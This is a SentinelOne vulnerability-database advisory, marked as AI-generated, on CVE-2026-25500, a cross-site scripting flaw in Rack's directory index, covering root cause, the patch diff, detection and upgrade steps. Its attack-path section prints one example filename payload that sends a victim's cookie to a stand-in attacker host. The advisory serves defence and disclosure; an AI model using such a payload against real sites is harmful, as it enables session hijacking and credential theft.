The SentinelOne Annual Threat Report - A Defenders Guide from the FrontlinesThe SentinelOne Annual Threat ReportGet the Report
Experiencing a Breach?Blog
Get StartedContact Us
SentinelOne
  • Platform
    Platform Overview
    • Singularity Platform
      Welcome to Integrated Enterprise Security
    • AI for Security
      Leading the Way in AI-Powered Security Solutions
    • Securing AI
      Accelerate AI Adoption with Secure AI Tools, Apps, and Agents.
    • How It Works
      The Singularity XDR Difference
    • Singularity Marketplace
      One-Click Integrations to Unlock the Power of XDR
    • Pricing & Packaging
      Comparisons and Guidance at a Glance
    Data & AI
    • Purple AI
      Accelerate SecOps with Generative AI
    • Singularity Hyperautomation
      Easily Automate Security Processes
    • AI-SIEM
      The AI SIEM for the Autonomous SOC
    • AI Data Pipelines
      Security Data Pipeline for AI SIEM and Data Optimization
    • Singularity Data Lake
      AI-Powered, Unified Data Lake
    • Singularity Data Lake for Log Analytics
      Seamlessly Ingest Data from On-Prem, Cloud or Hybrid Environments
    Endpoint Security
    • Singularity Endpoint
      Autonomous Prevention, Detection, and Response
    • Singularity XDR
      Native & Open Protection, Detection, and Response
    • Singularity RemoteOps Forensics
      Orchestrate Forensics at Scale
    • Singularity Threat Intelligence
      Comprehensive Adversary Intelligence
    • Singularity Vulnerability Management
      Application & OS Vulnerability Management
    • Singularity Identity
      Identity Threat Detection and Response
    Cloud Security
    • Singularity Cloud Security
      Block Attacks with an AI-Powered CNAPP
    • Singularity Cloud Native Security
      Secure Cloud and Development Resources
    • Singularity Cloud Workload Security
      Real-Time Cloud Workload Protection Platform
    • Singularity Cloud Data Security
      AI-Powered Threat Detection for Cloud Storage
    • Singularity Cloud Security Posture Management
      Detect and Remediate Cloud Misconfigurations
    Securing AI
    • Prompt Security
      Secure AI Tools Across Your Enterprise
  • Why SentinelOne?
    Why SentinelOne?
    • Why SentinelOne?
      Cybersecurity Built for What’s Next
    • Our Customers
      Trusted by the World’s Leading Enterprises
    • Industry Recognition
      Tested and Proven by the Experts
    • About Us
      The Industry Leader in Autonomous Cybersecurity
    Compare SentinelOne
    • Arctic Wolf
    • Broadcom
    • CrowdStrike
    • Cybereason
    • Microsoft
    • Palo Alto Networks
    • Sophos
    • Splunk
    • Trellix
    • Trend Micro
    • Wiz
    Verticals
    • Energy
    • Federal Government
    • Finance
    • Healthcare
    • Higher Education
    • K-12 Education
    • Manufacturing
    • Retail
    • State and Local Government
  • Services
    Managed Services
    • Managed Services Overview
      Wayfinder Threat Detection & Response
    • Threat Hunting
      World-Class Expertise and Threat Intelligence
    • Managed Detection & Response
      24/7/365 Expert MDR Across Your Entire Environment
    • Incident Readiness & Response
      DFIR, Breach Readiness, & Compromise Assessments
    Support, Deployment, & Health
    • Technical Account Management
      Customer Success with Personalized Service
    • SentinelOne GO
      Guided Onboarding & Deployment Advisory
    • SentinelOne University
      Live and On-Demand Training
    • Services Overview
      Comprehensive Solutions for Seamless Security Operations
    • SentinelOne Community
      Community Login
  • Partners
    Our Network
    • MSSP Partners
      Succeed Faster with SentinelOne
    • Singularity Marketplace
      Extend the Power of S1 Technology
    • Cyber Risk Partners
      Enlist Pro Response and Advisory Teams
    • Technology Alliances
      Integrated, Enterprise-Scale Solutions
    • SentinelOne for AWS
      Hosted in AWS Regions Around the World
    • Channel Partners
      Deliver the Right Solutions, Together
    • SentinelOne for Google Cloud
      Unified, Autonomous Security Giving Defenders the Advantage at Global Scale
    • Partner Locator
      Your Go-to Source for Our Top Partners in Your Region
    Partner Portal→
  • Resources
    Resource Center
    • Case Studies
    • Data Sheets
    • eBooks
    • Reports
    • Videos
    • Webinars
    • Whitepapers
    • Events
    View All Resources→
    Blog
    • Feature Spotlight
    • For CISO/CIO
    • From the Front Lines
    • Identity
    • Cloud
    • macOS
    • SentinelOne Blog
    Blog→
    Tech Resources
    • SentinelLABS
    • Ransomware Anthology
    • Cybersecurity 101
  • About
    About SentinelOne
    • About SentinelOne
      The Industry Leader in Cybersecurity
    • Investor Relations
      Financial Information & Events
    • SentinelLABS
      Threat Research for the Modern Threat Hunter
    • Careers
      The Latest Job Opportunities
    • Press & News
      Company Announcements
    • Cybersecurity Blog
      The Latest Cybersecurity Threats, News, & More
    • FAQ
      Get Answers to Our Most Frequently Asked Questions
    • DataSet
      The Live Data Platform
    • S Foundation
      Securing a Safer Future for All
    • S Ventures
      Investing in the Next Generation of Security, Data and AI
  • Pricing
Get StartedContact Us
CVE Vulnerability Database
Vulnerability Database/CVE-2026-25500

CVE-2026-25500: Rack Directory Index XSS Vulnerability

CVE-2026-25500 is a cross-site scripting flaw in Rack's directory index that allows JavaScript execution through malicious filenames. This article covers the technical details, affected versions, impact, and mitigation.

Published: February 20, 2026

CVE-2026-25500 Overview

CVE-2026-25500 is a Cross-Site Scripting (XSS) vulnerability in Rack, the modular Ruby web server interface. The vulnerability exists in the Rack::Directory component, which generates HTML directory indexes. When a file exists on disk with a basename starting with the javascript: scheme (e.g., javascript:alert(1)), the generated index contains an anchor element whose href attribute is set directly to the malicious filename. Clicking on such an entry executes JavaScript code in the user's browser context.

Critical Impact

Attackers who can create files on the server with specially crafted filenames can execute arbitrary JavaScript in visitors' browsers, potentially leading to session hijacking, credential theft, or further exploitation of authenticated users.

Affected Products

  • Rack versions prior to 2.2.22
  • Rack versions prior to 3.1.20
  • Rack versions prior to 3.2.5

Discovery Timeline

  • 2026-02-18 - CVE CVE-2026-25500 published to NVD
  • 2026-02-19 - Last updated in NVD database

Technical Details for CVE-2026-25500

Vulnerability Analysis

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation), commonly known as Cross-Site Scripting (XSS). The root cause lies in how Rack::Directory constructs hyperlinks in the generated HTML directory listing. When iterating through files in a directory, the component creates anchor tags where the href attribute is populated directly from the filename without proper sanitization or path prefixing.

The attack requires an adversary to have the ability to create files on the server filesystem—this could be through file upload functionality, compromised credentials, or other means. Once a malicious file is created with a name like javascript:alert(1), any user browsing the directory listing will see this as a clickable link that executes JavaScript when clicked.

Root Cause

The vulnerability stems from insufficient output encoding in the DIR_FILE template constant within lib/rack/directory.rb. The original implementation directly interpolates the filename into the href attribute without ensuring it's treated as a relative path. This allows the javascript: URI scheme to be interpreted as executable script rather than a file reference.

Attack Vector

An attacker exploits this vulnerability through the following attack path:

  1. Gain write access to a directory served by Rack::Directory (via file upload, compromised credentials, or other vectors)
  2. Create a file with a javascript: prefixed filename containing malicious code (e.g., javascript:document.location='https://attacker.com/steal?cookie='+document.cookie)
  3. Wait for a victim to browse the directory listing
  4. When the victim clicks the malicious file entry, the JavaScript executes in their browser context

The fix introduces a ./ prefix to the href attribute, ensuring the filename is always treated as a relative path rather than a URI scheme:

ruby
# Before (vulnerable):
DIR_FILE = "<tr><td class='name'><a href='%s'>%s</a></td><td class='size'>%s</td><td class='type'>%s</td><td class='mtime'>%s</td></tr>\n"

# After (patched):
DIR_FILE = "<tr><td class='name'><a href='./%s'>%s</a></td><td class='size'>%s</td><td class='type'>%s</td><td class='mtime'>%s</td></tr>\n"

Source: GitHub Rack Commit Change

Detection Methods for CVE-2026-25500

Indicators of Compromise

  • Files in web-accessible directories with names starting with javascript:, data:, or other executable URI schemes
  • Unusual filenames containing HTML entities, script tags, or encoded payloads
  • Web server logs showing requests for files with suspicious scheme-prefixed names

Detection Strategies

  • Implement file integrity monitoring to detect creation of files with unusual naming patterns in directories served by Rack::Directory
  • Deploy web application firewalls (WAF) with rules to detect and block directory traversal or XSS-related patterns in URL paths
  • Use static analysis tools to identify use of Rack::Directory in application codebases and verify patched versions are deployed

Monitoring Recommendations

  • Monitor file creation events in directories exposed via Rack::Directory for filenames containing URI scheme prefixes
  • Enable browser Content Security Policy (CSP) headers to mitigate execution of inline scripts even if XSS is triggered
  • Review access logs for directory listing requests followed by anomalous JavaScript-prefixed path requests

How to Mitigate CVE-2026-25500

Immediate Actions Required

  • Upgrade Rack to version 2.2.22, 3.1.20, or 3.2.5 or later immediately
  • Audit existing directories served by Rack::Directory for files with malicious naming patterns
  • Consider disabling Rack::Directory if not strictly required for application functionality
  • Implement Content Security Policy headers to reduce XSS impact

Patch Information

The Rack maintainers have released patched versions addressing this vulnerability. The fix is available in versions 2.2.22, 3.1.20, and 3.2.5. The patch modifies the DIR_FILE template in lib/rack/directory.rb to prefix all file links with ./, ensuring filenames are interpreted as relative paths rather than URI schemes.

For detailed patch information, see the GitHub Security Advisory GHSA-whrj-4476-wvmp and the GitHub Rack Commit Change.

Workarounds

  • Remove Rack::Directory from the middleware stack if directory listing functionality is not required
  • Implement a custom middleware layer that sanitizes filenames before they reach Rack::Directory
  • Configure file upload restrictions to reject filenames containing : or other URI scheme indicators
  • Use a reverse proxy or web server to serve static files instead of Rack::Directory
bash
# Verify your Rack version and upgrade if necessary
bundle show rack
bundle update rack --conservative

# Or specify minimum version in Gemfile
echo "gem 'rack', '>= 3.2.5'" >> Gemfile
bundle install

Disclaimer: This content was generated using AI. While we strive for accuracy, please verify critical information with official sources.

  • Vulnerability Details
  • TypeXSS

  • Vendor/TechRack

  • SeverityMEDIUM

  • CVSS Score5.4

  • EPSS Probability0.03%

  • Known ExploitedNo
  • CVSS Vector
  • CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
  • Impact Assessment
  • ConfidentialityLow
  • IntegrityLow
  • AvailabilityNone
  • CWE References
  • CWE-79
  • Vendor Resources
  • GitHub Rack Commit Change

  • GitHub Security Advisory GHSA-whrj-4476-wvmp
  • Related CVEs
  • CVE-2026-39324: Rack::Session Auth Bypass Vulnerability

  • CVE-2026-34835: Rack Auth Bypass Vulnerability

  • CVE-2026-34827: Rack Multipart Parser DoS Vulnerability

  • CVE-2026-32762: Rack Header Parsing Vulnerability
Default Legacy - Prefooter | Experience the World’s Most Advanced Cybersecurity Platform

Experience the World’s Most Advanced Cybersecurity Platform

See how our intelligent, autonomous cybersecurity platform can protect your organization now and into the future.

Try SentinelOne
  • Get Started
  • Get a Demo
  • Product Tour
  • Why SentinelOne
  • Pricing & Packaging
  • FAQ
  • Contact
  • Contact Us
  • Customer Support
  • SentinelOne Status
  • Language
  • Platform
  • Singularity Platform
  • Singularity Endpoint
  • Singularity Cloud
  • Singularity AI-SIEM
  • Singularity Identity
  • Singularity Marketplace
  • Purple AI
  • Services
  • Wayfinder TDR
  • SentinelOne GO
  • Technical Account Management
  • Support Services
  • Verticals
  • Energy
  • Federal Government
  • Finance
  • Healthcare
  • Higher Education
  • K-12 Education
  • Manufacturing
  • Retail
  • State and Local Government
  • Cybersecurity for SMB
  • Resources
  • Blog
  • Labs
  • Case Studies
  • Videos
  • Product Tours
  • Events
  • Cybersecurity 101
  • eBooks
  • Webinars
  • Whitepapers
  • Press
  • News
  • Ransomware Anthology
  • Company
  • About Us
  • Our Customers
  • Careers
  • Partners
  • Legal & Compliance
  • Security & Compliance
  • Investor Relations
  • S Foundation
  • S Ventures

©2026 SentinelOne, All Rights Reserved.

Privacy Notice Terms of Use

English